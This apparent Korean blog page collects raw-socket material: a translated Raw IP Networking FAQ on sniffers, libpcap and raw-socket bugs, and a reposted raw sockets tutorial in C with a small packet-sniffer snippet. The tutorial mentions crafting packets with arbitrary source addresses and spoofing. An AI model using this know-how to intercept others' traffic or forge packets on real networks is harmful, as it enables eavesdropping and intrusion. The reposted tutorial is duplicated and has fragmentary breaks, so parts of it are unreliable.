2012년 3월 14일 수요일
Packet Sniffer Code in C Using Linux Socket
http://www.binarytides.com/blog/packet-sniffer-code-in-c-using-linux-sockets-bsd/
http://www.binarytides.com/blog/packet-sniffer-code-in-c-using-linux-sockets-bsd-part-2/
2012년 3월 13일 화요일
Raw IP Networking FAQ
출처 : http://wiki.kldp.org/Translations/Raw_IP_FAQ-KLDP
Raw IP Networking FAQ
---------------------
버전 1.3
최근 수정일: 1999년 11월 11일 18:18:19
이 FAQ의 원본은 현재 http://www.whitefang.com/rin/ 에 있다.
이 웹페이지에는 또한 이 FAQ의 HTML버전도 함께 있다.
공식적인 미러링을 원한다면 내게 연락을 하라.
번역: 김성윤(kinux@kldp.org, http://kinux.sarang.net)
(역주: 첫번째 한글 번역판은 버젼 0.6이고 안창선님(http://kldp.org/~kabin)님에
의해 작성되었다. 첫번째 번역판의 저작권은 안창선님에게 있다.)
저작권
---------
나, Thamer Al-Herbish는 이 FAQ에 모아 진 것에 대한 저작권을 보유한다.
또한 개개의 기고내용은 기부자의 지적 재산이다.
나는 이 FAQ에 담긴 모든 정보의 합법성에 대한 책임을 진다.
이 FAQ에는 오류 또는 부정확한 부분이 있을 수 있으며, 이것에 대한 사용에 의해
위험부담은 여러분이 가져야 한다. 비록 많은 노력을 기울여 정확성을 기하고자
하였지만, 기고자나 이 FAQ를 유지하는 사람은 FAQ의 부정확성에 의해 발생하는
직 간접적인 어떠한 책임도 지지 않는다.
이 문서를 변형하지 않는 조건에서 이 문서의 배포는 자유로우며, 이 문서를
공개적인 서버에 저장할 경우 업데이트가 잘 되도록 하라.
소개
------------
아래의 FAQ는 raw IP 또는 raw소켓, BPF와 DLPI와 같은 네트웍 모니터링 API를 포함한
저수준 IP 네트워킹에 관한 질문에 대한 답변을 담고 있다.
추가와 공헌
---------------------------
수정될 부분이나 추가될 부분, 또는 새로 답변된 관련 내용을 발견하면 다음으로
메일을 주기 바란다.
Thamer Al-Herbish <shadows@whitefang.com>
여러분이 기고하여 새로 만들어진 FAQ에 자신의 Email을 삽입하길 원하는지
그렇지 않은지를 알려주기 바란다. 또한 이 FAQ에서 발견하지 못한 관련 내용을
Usenet에 포스팅 하여 얻게 되는 답변과 해당 질문을 내게 다시 알려주면 그것또한
이 FAQ에 포함 하도록 하겠다.
raw socket 버그에 대해 한달에 한번 email을 확인하게 되는데, 그래서 해당 시스템에
버그가 존재한다면 확인할 수가 없다. 메일을 보내기 전에 나의 예제 소스코드를 가지고
체크해주기 바란다. 그것이 명확한 버그라면 메일 주기 바란다.
John W. Temples <john@whitefang.com>의 상당한 비평과 수정 조언에 감사를 표한다.
이 FAQ를 만드는데 대한 공헌자들은 이 FAQ의 끝부분에 그 명단을 추가하여 그 공적을
기렸다.
마지막으로, Raw IP Networking 메일링 리스트가 진행중이다. rawip-subscribe@whitefang.com에 빈
메시지를 보냄으로서 참여할 수 있다.
주의
------
이 FAQ의 내용은 유닉스 환경과 관련된 정보를 다룬다.
목차
-----------------
1) 일반 질문들:
1.1) 나의 네트웍을 모니터링할 수 있는 툴이나 sniffer는 어떤게 있는가?
1.2) 패킷을 캡춰할 수 있는 도구는 어떤게 있는가?
1.3) 패킷을 캡춰하는데 사용할 수 있는 portable API가 있는가?
1.4) 패킷 캡춰 기능을 가진 프로그램은 어떻게 동작하는가?
1.5) 네트웍을 sniffing할때 패킷 손실을 최소화 하는 방법은?
1.6) 패킷 캡춰 도구는 어떤때 사용되는가?
1.7) 네트웍과 격리되어 캡쳐된 패킷을 교체할수 있는가?
1.8) 네트웍에 raw packet을 보낼 portable API가 있는가?
1.9) raw IP 억세스를 위한 C 가 아닌 고급 언어 API 가 있는가?
2) RAW socket 질문들:
2.1) RAW socket이란 무엇인가?
2.2) 어떻게 raw socket을 사용하는가?
2.2.1) raw socket을 통해 TCP/IP패킷을 보내는 방법은?
2.2.2) TCP/IP 패킷을 만드는 방법은?
2.2.3) raw socket을 통해 패킷을 Listen하는 방법은?
2.3) raw socket을 사용할때 경계해야할 버그는 무엇이 있는가?
2.3.1) IP 헤더 길이/옵셋 호스트/네트웍 바이트 순서
(feature/bug?)
2.3.2) Solaris 2.4/2.5 checksum weirdness에서의 전송 헤더.
2.3.3) Solaris 2.x와 Irix 6.x에 의한 추가적인 IP 패킷 처리
2.4) raw socket이 일반적으로 무엇을 위해 사용되는가?
3) libpcap (Portable Packet Capturing Library)
3.1) 패킷 캣춰를 위한 운영체제 고유의 API대신 왜 libpcap을 사용해야 하는가?
3.2) 알아야할 libpcap의 불이익에는 어떤게 있는가?
3.3) libpcap 소스코드의 예를 찾을 수 있는 곳은?
4) 공헌자 명단
1) 일반 질문들:
---------------------
1.1) 나의 네트웍을 모니터링할 수 있는 툴이나 sniffer는 어떤게 있는가?
운영체제에 따라 다음과 같은 가능한 툴들이 있다.
tcpdump: 대부분의 BSD 호환 기계에서 사용가능하며,
ftp://ftp.ee.lbl.gov/tcpdump.tar.Z 에 libpcap(아래를 보라)와 다양한
여러 툴들이 있다. 특히 이러한 툴은 libpcap덕분에 여러 플렛폼에 포팅되어 있다.
ipgrab: 많은 시스템에 호환된다. 이것은 캡쳐된 패킷의 link, transport, network 레벨 정보를
보여준다.
http://www.xnet.com/~cathmike/MSB/Software/
Ethereal: GTK+를 이용한 GUI 네트웍 패킷 분석기이다. 많은 시스템을 지원하고,
http://ethereal.zing.org 에서 구할수 있다.
tcptrace:
http://jarok.cs.ohiou.edu/software/tcptrace/tcptrace.html
실제 sniffer는 아니지만, 알려진 많은 sniffer에 의해 생성된 로그파일로부터
일반적인 포맷의 출력물 또는 상세정보들을 만들어 낸다. 이러한 정보에는 진단정보도
포함한다.
tcpflow:
http://www.circlemud.org/~jelson/software/tcpflow/
tcpflow는 TCP 연결흐름의 부분에서 전송되는 데이타를 캡쳐하고, 프로토콜 분석이나
디버깅하기 쉽게 데이타를 저장하는 프로그램이다.
snoop: Solaris, IRIX.
etherfind: SunOS.
Packetman: SunOS, DEC-MIPS, SGI, DEC-Alpha, 그리고 Solaris.
ftp://ftp.cs.curtin.edu.au:/pub/netman/ 에서 구할 수 있다.
SniffIt: Linux, SunOS, Solaris, FreeBSD, 그리고 IRIX.
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html 에서 구할 수 있다.
nettl/ntfmt: HP/UX
1.2) 패킷을 캡춰할 수 있는 도구(facility)는 어떤게 있는가?
운영체제에 따라 여러가지가 있으며, 다양한 버전이 있다.:
BPF: Berkeley Packet Filter. 일반적으로 BSD 변형제품에서 발견된다.
DLPI: Data Link Provider Interface. Solaris, HP-UX, SCO
Openserver.
NIT: Network Interface Tap. SunOS.
SNOOP: (???). IRIX.
SNIT: STREAMS Network Interface Tap. (??)
SOCK_PACKET: Linux.
LSF: 리눅스 소켓 필터. 이것은 Linux 2.1.75 이상에서 가능하다.
drain: OS에 의해 버려지는 패킷을 snoop하는데 사용된다. IRIX.
1.3) 패킷을 캡춰하는데 사용할 수 있는 portable API가 있는가?
있다. ftp://ftp.ee.lbl.gov/libpcap.tar.Z에서 OS에 따른 패킷 캡춰 API를 포함하는
single API를 제공한다. 물론 기본 API들을 배우는 것이 이 라이브러리가 몇몇 흥미있는 부분을
감추어 버리게 되는 경우가 있다는 점에서 가장 좋은 것이 될 수 있다. 상이한 Libpcap버전으로 인해
후위(backward) 호환을 해치는 경우가 있다는 것에 주의하라.
1.4) 패킷 캡춰 프로그램이 동작하는 방법은?
정확한 상세사항은 운영체제에 따라 다르다. 그러나 여러 프로그램들에서
일반적으로 동작하는 방법에 대한 것을 설명하겠다.
사용자 프로세스는 어떤 장치를 열거나 회선 밖에서 패킷을 읽을 수 있는 디스크립터를
주는 시스템 호출을 만든다. 그러면 커널은 패킷을 프로세스에 곧장 보내게된다.
그러나 이것은 느린 시스템이나 로드가 많이 걸려 있는 네트웍에서는 제대로
작동하지 않는다. 사용자 프로세스는 네트웍에 패킷이 나타나는 빠르기 만큼 빠르게
그 패킷을 읽어야 한다. 그것이 버퍼렁과 패킷 필터링이 시작되는 지점이다.
커널은 X 바이트의 패킷 데이터까지 버퍼링 할 수 있으며, 그 패킷을 사용자의
요청에 따라 하나씩 전달한다. 만약 그 양이 어떤 한계를 넘게 되면(자원은
한정되어 있다) 패킷은 버려지고(drop) 버퍼에 남지 않게 된다.
패킷 필터는 프로세스가 원하는 패킷을 지시할 수 있도록 허용한다.
일반적인 방법은 그 패킷에서 수행될 루틴을 위한 opcode 셋을 가지고
그것으로부터 값을 읽고 그것이 원하는지 그렇지 않은지를 결정하는 것이다.
이들 opcode는 보통 매우 단순한 operation을 수행하며, 강력한 필터링 기능을
수행한다.
BPF 필터와 그리고 버퍼들; 이것은 버퍼가 오직 그 프로세스가 관심있는 패킷만
포함하기 때문에 가장 바람직하다. 그것은 그 필터가 패킷의 상실을 일으키는
버퍼 오버플로잉을 막기위해 버퍼링되는 패킷의 양을 줄이기를 바란다.
NIT, 불행히도 does not do this; 그것은 사용자 프로세스가 그 퍼러링된
데이터로부터 읽기를 시작할때인 버퍼링 후의 필터에 적용된다.
다른 패킷 캡춰 도구를 통한 여러분의 이용도는 매우 광범위할 것이다.
1.5) 네트웍을 sniffing할때 패킷 상실을 제한하는 방법은?
만약 여러분이 패킷 상실에 많은 경험을 가지고 있다면, 필터를 사용한
패킷이 읽어들여지는 범위를 제한하기를 원할 수 있다. 이것은 필터링이
버퍼링 전에 수행될 경우에만 제대로 작동한다. 패킷 캡춰 도구가 NIT와 같이
깨져서(broken) 여전히 제대로 작동하지 않을 경우, 사용자 프로세스에서
더 빨리 읽어야 할 것이며, 그들을 다른 프로세스로 전송해야 한다. 기본적으로
사용자 공간(user space)에서 추가적인 버퍼링을 시도하라.
성능을 증진시키는 또 다른 방법은, 커다란 버퍼를 사용하는 것이다.
SNOOP를 사용하는 Irix에서의 man 페이지는 SO_RCVBUF를 사용할 것을
권한다. BPF를 가진 BSD에서 BIOCSBLEN ioctl 호출을 사용하여 버퍼 크기를
증가시킬 수 있다. 솔라리스에서는 bufmod와 pfmod를 사용하여 버퍼의 크기와
필터를 각각 변경할 수 있다.
기억할 것은 여러분의 프로세스가 로드가 걸려서 incoming 패킷의 동향에 관심을 적게 쓰면
쓸 수록 커널에 의해 더 빨리 버려진다(drop)는 것이다.
1.6) 패킷 캡춰가 어떤곳에 사용되는가?
----------------------------------------------
(Question suggested by Michael T. Stolarchuk <mts@rare.net>
along with some suggestions for the answer.)
네트웍의 셋업의 verify와 같은 네트웍 진단과 같은 곳에 사용되는데
그 예에는 호스트로부터 보내진 ARP메시지들을 보고해 주는 arp와 같은
툴 들이 있다.
end to end 세션의 재 구성. tcpshow는 이러한 일을 한다. 그러나
더 똑똑한 예는 네트웍 연결에서 tab을 유지하려는 보안 툴의 배치이다.
네트웍 로드를 모니터링한다. 아마 실제적으로 가장 많이 사용되는
부분일 것이다. 많은 상용제품들이 이것을 수행하는 특수한 하드웨어를 사용한다.
1.7) 네트웍과 격리되어 캡쳐된 패킷을 교체할수 있는가?
없다. 패킷 캡쳐는 패킷의 복사본을 만드는 것이다. 그리고 시스템의 TCP/IP 스텍으로부터
그것들을 제거하지는 않는다. 만일 TCP/IP 스텍에 도달하는 패킷을 막기위해서는 방화벽
을 사용할 필요가 있다. (그것은 패킷 필터링을 할 수가 있다.) 방화벽에 의한 패킷 캡쳐와
패킷 필터링을 혼돈하지 마라. 그것은 다른 목적으로 제공된다.
1.8) 네트웍에 raw packet을 보낼 portable API가 있는가?
있다. route <route@infonexus.com> 가 Libnet에 대해 언급했는데, 이것은
저수준 패킷 작성, 핸들링을 위한 API를 제공한다. 그것은 libpcap에 대해 찬사를
보내는데, 그 프로젝트 웹페이지는 아래에서 볼수 있다.
http://www.packetfactory.net/libnet/
1.9) raw IP 억세스를 위한 C 가 아닌 고급 언어 API 가 있는가?
raw socket 억세스를 위해 PERL 모듈이 사용가능하다.
http://quake.skif.net/RawIP/
Python 라이브러리 "py-libpap" 은 다음에서 구할 수 있다.
ftp://ftp.python.org/pub/python/contrib/Network/
2) RAW socket 질문들:
------------------------
2.1) RAW socket이란 무엇인가?
BSD 소켓 API를 통해 우리는 raw socket을 열고 TCP/IP 스택에서 layer를 통과한다.
주의할 것은 만약 OS가 올바르게 BSD 체계를 지원하지 않으며, 이것이 작동되도록 하는데
상당한 어려움을 겪을 것이다. 아래에 몇몇 버그 또는 여러분을 놀라게할 만한 것을
보여준다. 거의 모든 제정신의 시스템에서는 오직 root 사용자만이 raw 소켓을
열 수 있다.
2.2) raw socket을 사용하는 방법?
2.2.1) raw socket을 통해 TCP/IP 패킷을 전송하는 방법?
무엇을 전송할 것이냐에 따라 다르지만, 처음에 socket을 열고 그것의 type을 지정한다.
sockd = socket(AF_INET,SOCK_RAW,<protocol>);
그리고 IPPROTO_RAW을 포함한 어떠한 프로토콜도 선택할 수 있다.
그 프로토콜 번호는 IP 헤더에 그대로 들어간다. IPPROTO_RAW 는 IP 헤더에
0 을 넣게된다.
대부분의 시스템은 IP_HDRINCL이라는 여러분 자신의 IP을 패킷을 나머지와 함께
포함할 수 있도록 해주는 소켓 옵션을 가지고 있다. 만약 여러분의 시스템이
이 옵션을 가지고 있지 않다면, 여러분 자신의 IP 헤더를 포함할 수 없을 것이다.
만약 그렇다면 여러분은 다음과 같은 방법으로 가능하게 할 수 있다.
char on = 1;
setsockopt(sockd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
물론, 만약 IP 헤더를 포함하길 원하지 않는다면, 항상 그 socket을
생성할때 프로토콜을 지정할 수 있으며 전송계층 헤더를 그것안에 포함 시킬 수 있다.
그러고나서 그 패킷을 만들고 일반적인 sendto()같은 함수를 호출 할 수 있다.
2.2.2) TCP/IP 패킷을 만드는 방법은?
http://www.whitefang.com/rin/ 에 가면 예제가 있다. 이 예제는 관련된 상세
사항을 기술하고 있따. 또한 몇몇 아래에 언급된 버그에 관해서도 기술하고 있다.
간단하게 말해서, 여러분은 메모리 내에서 패킷을 작성하고 소켓에 넘겨준다.
그러면 그 소켓을 그것을 밖으로 쏴보내거나 더 많은 패킷을 기다리던지 할 것이다.
2.2.3) raw socket을 통해 패킷을 listen하는 방법은?
전통적으로 BSD socket API는 들어오는 패킷을 raw socket을 통해 listen하는 것을
허용하지 않았다.
비록 Linux (2.0.30 이 내가본 최신 버전이다)는 이것을 허용하지만, 그것은 Linux
자신이 구현한 TCP/IP 스택을 사용해야만 가능하다. 전통적인 BSD 체계는 어떤
카테고리(아래에 있다)에 매치되는 몇몇 패킷을 여러분이 습득하는 것을 허용한다.
이러한 이유의 배후에는 논리적인 이유가 있다. 예를 들어 TCP 패킷들은 항상
커널에 의해 다루어진다. 만약 포트가 열리면 SYN-ACK를 전송하고 연결을
설립하거나 또는 뒤로 RST를 보낸다. 다른말로 하면, 몇몇 타입의 ICMP(아래에 관련
리스트를 좀 적었다.)은 커널이 핸들링 하지 못한다. ICMP echo reply와 같은것은
매치되는 raw socket으로 전송된다. 왜냐하면 사용자 프로그램이 그것을 수신하게
되는 것을 의미하기 때문이다.
해결책은 만약 그것이 UDP또는 TCP 패킷일 경우에 특정 포트에 방화벽을 설치하는 것이다.
그리고 패킷 캡쳐 API를(위에 나열되어 있는 것들) 가지고 그것을 sniff한다.
이것은 TCP/IP 스택이 패킷을 핸들링 하는 것을 막아준다. 그러므로 그것은 무시되고
여러분은 간섭 없이 자신을 위해 그것을 핸들링 할 수 있게 된다.
만약 방화벽을 만들지 않고, 자신에게 reply하면 여러분은 여러분의 운영체제로부터
추가적인 응답을 받게 될 것이다.
여기에 유즈넷의 Richard Stevens이 쓴 raw BSD socket의 체계에 관한 간단한 설명이 있다.
From <rstevens@kohala.com> (Sun Jul 6 12:07:07 1997) :
"BSD raw sockets의 체계는:
- TCP 와 UDP: 커널만이 이것을 받는다.
- ICMP: 각각의 ICMP는 커널이 그것에 대한 응답(ICMP 각각의 요청, timestamp요청,
mask 요청과 같은 것에 대한)으로 reply하는 것을 제외한 각각의 매치되는
raw 소켓을 통과 시킨다.
- IGMP: 이들 모두는 모든 매치되는 raw socket으로 통과된다.
- 커널이 다루지 않는 모드 다른 프로토콜(OSPF, etc.): 모두 매치되는 raw socket으로
전달된다.
BSD4.4의 TCP/IP 스택의 icmp_input()루틴을 살펴본 결과 아래의 ICMP 형들은 매치되는
raw socket으로 통과되는 것으로 보여진다.
Echo Reply: (0)
Router Advertisement (9)
Time Stamp Reply (13)
Mask Reply (18)
2.3) raw socket을 사용할때 알아두어야 할 버그는 어떤게 있는가?
2.3.1) IP 헤더 길이/옵셋 호스트/네트웍 바이트 순서
(feature/bug?)
4.4BSD로부터온 시스템은 ip 헤더의 멤버인 ip_len과 ip_off이
network 바이트 순서가 아닌 host 바이트 순서로 셋팅되어 있어야 하는데
그렇지 않은 버그를 가지고 있다. 몇몇 시스템은 버그가 고쳐졌다.
내가 버그가 고쳐진 것을 확인한 시스템은 OpenBSD 2.1이다.
2.3.2) Solaris 2.4/2.5 checksum weirdness에서의 전송 헤더.
이 버그에 대한 이전 workaound는 정확하지 않았다.
Michael Masino <mmasino@mitre.org>는 이것에 관한 좀더 정확한
workaround를 내게 보내주었다. 아래 내용은 그 메일을 압축한
것이다.(Thu, 19 Feb 1998):
"나는 솔라리스 2.5가 데이터를 raw socket을 통해 전송할때
TCP또는 UDP checksum을 계산하려고 하는 것을 발견하였습니다.
나는 또한 만약 내가 올바른 checksum을 그 필드에 삽입하면
그 전송된 패킷이 데이터 checksum과 같은 길이의 checksum을
갖고 있었습니다. 만약 내가 한 byte를 그 데이터에 덧붙이면
그 checksum은 1씩 증가되었습니다. 그러나 만약 내가 그
checksum을 0으로 셋팅하면 그 전송된 패킷은 올바른 checksum +
checksum 길이에 해당하는 TCP checksum을 갖게 되었습니다.
올바른 checksum을 전송하기 위해 그 아래 줄은 여러분은
checksum된 데이터의 길이로 채워야 합니다. FAQ에서
언급된것은 그것을 sizeof(struct tcphdr)로 설정하기 위함이며
만약 여러분이 패킷안에 데이터를 가지고 있으면 제대로
작동하지 않을 것입니다. 여러분은 따라서 TCP 헤더의 길이(유사 헤더가 아닌)
와 데이터 양의 길이를 채워 넣어야 합니다."
나는 아직 SUN에서 이것을 known bug로서 설명한, 또한 그것이
언제 수정되었는지를 알리는 official 문서를 발견하지는
못했다.
나는 그것이 Solaris 2.6 에서는 발생하지 않는다는 보고서는 가지고 있다.
2.3.3) Solaris 2.x와 Irix 6.x에 의한 추가적인 IP 패킷 처리
----------------------------------------------------------------
(Bug report from Lamont Granquist
<lamontg@hitl.washington.edu> )
"Irix 6.x와 Solaris 2.x(2.5.1 과 2.6) 에서의 SOCK_RAW는
IP 패킷이 전송되기 전에 몇몇 원치 않는 처리를 한다.
특히, 그것은 IP_DF(조각내지 마라)플레그를 켜게 하고, 다른 IP id번호와
다른 TCP seq번호와 ack번호를 할당하며, 그 checksum을 재계산한다.
나는 IP_DF 플래그를 포함하기 위한 코드 예제를 해킹하려고 했는데
여전이 IP/seq/ack번호를 할당하고 checksum을 재계산한다"
2.4) 일반적으로 raw socket은 어디에 사용되는가?
--------------------------------------------
다양한 유닉스 유틸리티들이 raw socket을 사용한다. 거기에는 traceroute, ping, arp 및
많은 인터넷 보안툴 들이 raw socket을 사용한다. 그러나 오랫동안 raw socket은
버그가 있으며, portable하지 않고 사용에 제한이 있는 것으로 판명되어 왔다.
3) libpcap (Portable Packet Capturing Library)
------------------------------------------------
3.1) 패킷 캡춰를 위해 운영체제 고유의 API대신 왜 libpcap을 사용해야 하는가?
libpcap은 어플리케이션이 패킷 캡춰를 portable하게 할 수 있도록 하기 위해
만들어 졌다. 그것의 시스템 독립성과 다양한 운영체제 지원으로 인해
여러분은 패킷 캡춰 어플리케이션은 다양한 시스템에서 사용될 수 있도록
좀더 portable하게 만들어 질 수 있다.
3.2) 알아야할 libpcap의 불이익에는 어떤게 있는가?
그렇다. libpcap은 BSD에서 파생된 시스템에서 발견되는 BPF를
사용할때 오직 kernel 패킷 필터링 기능만을 사용한다.
이것은 BPF를 사용하지 않는 다른 운영체제에서 사용되는 어떠한 패킷 필터도
사용자 공간에서 수행될 것이며, 따라서 속도화 효율성 몇에서 불이익이 있다.
따라서 로드가 걸려 있는 네트웍을 sniff할때 패킷 로스가 증가되기 때문에
이것은 여러분이 원하는 것은 아닐 것이다.
DEC의 OSF/1은 BPF-스타일의 필터를 지원하기 위해 확장된 API를 가지고 있다.
libpcap은 이것을 이용한다.
나중에, Libpcap은 BPF 스타일의 필터들을 다른 패킷 캡춰 도구로 translate
할 것이다. 그러나 이것은 아직 버전 0.3에서 구현되지 않았다.
질문 1.4를 참고하면 어떻게 패킷 필터들이 여러분의 네트웍을 신뢰성있게
모니터링 할지에 대한 도움을 얻을 수 있을 것이다.
3.3) libpcap 소스코드의 예를 찾을 수 있는 곳은?
LBNL의 ftp사이트에 관련된 많은 소스코드가 있다.
ftp://ftp.ee.lbl.gov/ 는 libpcap을 사용한다. 좀더 자세히 말하면
ftp://ftp.ee.lbl.gov/tcpdump.tar.Z 가 아마 libpcap의 커다란 확장의
예시를 보여 줄 것이다.
4) 공헌자 리스트
------------------------
Thamer Al-Herbish <shadows@whitefang.com>
W. Richard Stevens <rstevens@kohala.com>
John W. Temples (III) <john@whitefang.com>
Michael Masino <mmasino@mitre.org>
Lamont Granquist <lamontg@hitl.washington.edu>
Michael T. Stolarchuk <mts@rare.net>
Mike Borella <Mike_Borella@mw.3com.com>
route <route@infonexus.com>
Derrick J Brashear <shadow@dementia.org>
2011년 12월 21일 수요일
A brief programming tutorial in C for raw sockets
출처 : http://mixter.void.ru/rawip.html
A brief programming tutorial in C for raw sockets
A brief programming tutorial in C for raw sockets
by Mixter for the BlackCode Magazine
http://mixter.void.ru or http://mixter.warrior2k.com
1. Raw sockets
2. The protocols IP, ICMP, TCP and UDP
3. Building and injecting datagrams
4. Basic transport layer operations
In this tutorial, you'll learn the basics of using raw sockets in C, to insert any IP protocol based datagram into the network traffic. This is useful,for example, to build raw socket scanners like nmap, to spoof or to perform operations that need to send out raw sockets. Basically, you can send any packet at any time, whereas using the interface functions for your systems IP-stack (connect, write, bind, etc.) you have no direct control over the packets. This theoretically enables you to simulate the behavior of your OS's IP stack, and also to send stateless traffic (datagrams that don't belong to a valid connection). For this tutorial, all you need is a minimal knowledge of socket programming in C (see http://www.ecst.csuchico.edu/~beej/guide/net/).
The (simplified) link layer model looks like this:
Physical layer -> Device layer (Ethernet protocol) -> Network layer (IP) ->
Transport layer (TCP, UDP, ICMP) -> Session layer (application specific data)
Now to some practical stuff. A standard command to create a datagram socket is: socket (PF_INET, SOCK_RAW, IPPROTO_UDP); From the moment that it is created, you can send any IP packets over it, and receive any IP packets that the host received after that socket was created if you read() from it. Note that even though the socket is an interface to the IP header, it is transport layer specific. That means, for listening to TCP, UDP and ICMP traffic, you have to create 3 separate raw sockets, using IPPROTO_TCP, IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers are 0 or 6 for tcp, 17 for udp and 1 for icmp).
With this knowledge, we can, for example, already create a small sniffer, that dumps out the contents of all tcp packets we receive. (Headers, etc. are missing, this is just an example. As you see, we are skipping the IP and TCP headers which are contained in the packet, and print out the payload, the data of the session/application layer, only).
). You can always create your own structs, as long as the length of each option is correct. To help you create portable programs, we'll use the BSD names in our structures. We'll also use the little endian notation. On big endian machines (some other processor architectures than intel x86), the 4 bit-size variables exchange places. However, one can always use the structures in the same ways in this program. Below each header structure is a short explanation of its members, so that you know what values should be filled in and which meaning they have.
The data types/sizes we need to use are: unsigned char - 1 byte (8 bits), unsigned short int - 2 bytes (16 bits) and unsigned int - 4 bytes (32 bits)
ip_hl: the ip header length in 32bit octets. this means a value of 5 for the hl means 20 bytes (5 * 4). values other than 5 only need to be set it the ip header contains options (mostly used for routing)
ip_v: the ip version is always 4 (maybe I'll write a IPv6 tutorial later;)
ip_tos: type of service controls the priority of the packet. 0x00 is normal. the first 3 bits stand for routing priority, the next 4 bits for the type of service (delay, throughput, reliability and cost).
ip_len: total length must contain the total length of the ip datagram. this includes ip header, icmp or tcp or udp header and payload size in bytes.
ip_id: the id sequence number is mainly used for reassembly of fragmented IP datagrams. when sending single datagrams, each can have an arbitrary ID.
ip_off: the fragment offset is used for reassembly of fragmented datagrams. the first 3 bits are the fragment flags, the first one always 0, the second the do-not-fragment bit (set by ip_off |= 0x4000) and the third the more-flag or more-fragments-following bit (ip_off |= 0x2000). the following 13 bits is the fragment offset, containing the number of 8-byte big packets already sent.
ip_ttl: time to live is the amount of hops (routers to pass) before the packet is discarded, and an icmp error message is returned. the maximum is 255.
ip_p: the transport layer protocol. can be tcp (6), udp(17), icmp(1), or whatever protocol follows the ip header. look in /etc/protocols for more.
ip_sum: the datagram checksum for the whole ip datagram. every time anything in the datagram changes, it needs to be recalculated, or the packet will be discarded by the next router. see V. for a checksum function.
ip_src and ip_dst: source and destination IP address, converted to long format, e.g. by inet_addr(). both can be chosen arbitrarily.
for all the types.
icmp_code: this is significant when sending an error message (unreach), and specifies the kind of error. again, consult the include file for more.
icmp_cksum: the checksum for the icmp header + data. same as the IP checksum. Note: The next 32 bits in an icmp packet can be used in many different ways. This depends on the icmp type and code. the most commonly seen structure, an ID and sequence number, is used in echo requests and replies, hence we only use this one, but keep in mind that the header is actually more complex.
icmp_id: used in echo request/reply messages, to identify the request
icmp_seq: identifies the sequence of echo messages, if more than one is sent.
The User Datagram Protocol is a transport protocol for sessions that need to exchange data. Both transport protocols, UDP and TCP provide 65535 different source and destination ports. The destination port is used to connect to a specific service on that port. Unlike TCP, UDP is not reliable, since it doesn't use sequence numbers and stateful connections. This means UDP datagrams can be spoofed, and might not be reliable (e.g. they can be lost unnoticed), since they are not acknowledged using replies and sequence numbers.
uh_dport: The destination port that a specific server can be contacted on.
uh_len: The length of udp header and payload data in bytes.
uh_check: The checksum of header and data, see IP checksum.
The Transmission Control Protocol is the mostly used transport protocol that provides mechanisms to establish a reliable connection with some basic authentication, using connection states and sequence numbers. (See IV. Basic transport layer operations.)
Connection initiation: to contact an udp or tcp server listening on port 1234, the client calls a connect() with the sockaddr structure containing destination address and port. If the client did not bind() to a source port, the systems IP stack will select one it'll bind to. By connect()ing, the host sends a datagram containing the following information: IP src: client address, IP dest: servers address, TCP/UDP src: clients source port, TCP/UDP dest: port 1234. If a client is located on port 1234 on the destination host, it will reply back with a datagram containing: IP src: server IP dst: client srcport: server port dstport: clients source port. If there is no server located on the host, an ICMP type unreach message is created, subcode "Connection refused". The client will then terminate. If the destination host is down, either a router will create a different ICMP unreach message, or the client gets no reply and the connection times out.
TCP initiation ("3-way handshake") and connection: The client will do a connection initiation, with the tcp SYN flag set, an arbitrary sequence number, and no acknowledgement number. The server acknowledges the SYN by sending a packet with SYN and ACK set, another random sequence number and the acknowledgement number the original sequence. Finally, the client replies back with a tcp datagram with the ACK flag set, and the server's ack sequence incremented by one. Once the connection is established, each tcp segment will be sent with no flags (PSH and URG are optional), the sequence number for each packet incremented by the size of the previous tcp segment. After the amount of data specified as "window size" has been transferred, the peer sending data will wait for an acknowledgement, a tcp segment with the ACK flag set and the ack sequence number the one of the last data packet that could be received in order. That way, if any segments get lost, they will not be acknowledged and can be retransmitted. To end a connection, both server and client send a tcp packet with correct sequence numbers and the FIN flag set, and if the connection ever de-synchronizes (aborted, desynchronized, bad sequence numbers, etc.) the peer that notices the error will send a RST packet with correct seq numbers to terminate the connection.
- Mixter
http://mixter.void.ru or http://mixter.warrior2k.com
1. Raw sockets
2. The protocols IP, ICMP, TCP and UDP
3. Building and injecting datagrams
4. Basic transport layer operations
In this tutorial, you'll learn the basics of using raw sockets in C, to insert any IP protocol based datagram into the network traffic. This is useful,for example, to build raw socket scanners like nmap, to spoof or to perform operations that need to send out raw sockets. Basically, you can send any packet at any time, whereas using the interface functions for your systems IP-stack (connect, write, bind, etc.) you have no direct control over the packets. This theoretically enables you to simulate the behavior of your OS's IP stack, and also to send stateless traffic (datagrams that don't belong to a valid connection). For this tutorial, all you need is a minimal knowledge of socket programming in C (see http://www.ecst.csuchico.edu/~beej/guide/net/).
I. Raw sockets
The basic concept of low level sockets is to send a single packet at one time, with all the protocol headers filled in by the program (instead of the kernel). Unix provides two kinds of sockets that permit direct access to the network. One is SOCK_PACKET, which receives and sends data on the device link layer. This means, the NIC specific header is included in the data that will be written or read. For most networks, this is the ethernet header. Of course, all subsequent protocol headers will also be included in the data. The socket type we'll be using, however, is SOCK_RAW, which includes the IP headers and all subsequent protocol headers and data.The (simplified) link layer model looks like this:
Physical layer -> Device layer (Ethernet protocol) -> Network layer (IP) ->
Transport layer (TCP, UDP, ICMP) -> Session layer (application specific data)
Now to some practical stuff. A standard command to create a datagram socket is: socket (PF_INET, SOCK_RAW, IPPROTO_UDP); From the moment that it is created, you can send any IP packets over it, and receive any IP packets that the host received after that socket was created if you read() from it. Note that even though the socket is an interface to the IP header, it is transport layer specific. That means, for listening to TCP, UDP and ICMP traffic, you have to create 3 separate raw sockets, using IPPROTO_TCP, IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers are 0 or 6 for tcp, 17 for udp and 1 for icmp).
With this knowledge, we can, for example, already create a small sniffer, that dumps out the contents of all tcp packets we receive. (Headers, etc. are missing, this is just an example. As you see, we are skipping the IP and TCP headers which are contained in the packet, and print out the payload, the data of the session/application layer, only).
int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
char buffer[8192]; /* single packets are usually not bigger than 8192 bytes */
while (read (fd, buffer, 8192) > 0)
printf ("Caught tcp packet: %s\n",
buffer+sizeof(struct iphdr)+sizeof(struct tcphdr));
II. The protocols IP, ICMP, TCP and UDP
